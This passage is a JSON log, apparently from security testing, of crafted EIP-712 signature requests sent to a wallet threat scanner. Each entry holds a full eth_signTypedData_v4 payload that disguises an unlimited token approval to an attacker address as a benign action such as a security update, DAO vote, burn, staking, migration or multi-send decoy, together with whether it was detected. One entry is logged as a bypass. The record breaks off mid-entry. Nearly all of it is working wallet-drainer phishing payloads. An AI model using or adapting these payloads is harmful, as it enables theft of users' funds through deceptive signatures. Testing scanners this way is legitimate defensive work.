{ "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:06:17.074Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:06:26.244Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:06:35.411Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:06:44.546Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:06:53.676Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:07:02.822Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:07:12.046Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:07:21.192Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:07:30.334Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:07:39.483Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:07:48.634Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:07:57.812Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:08:07.046Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:08:16.251Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:08:25.416Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:08:34.583Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:08:43.733Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:08:52.880Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN5-EIP3009-022", "timestamp": "2026-01-31T16:09:02.039Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 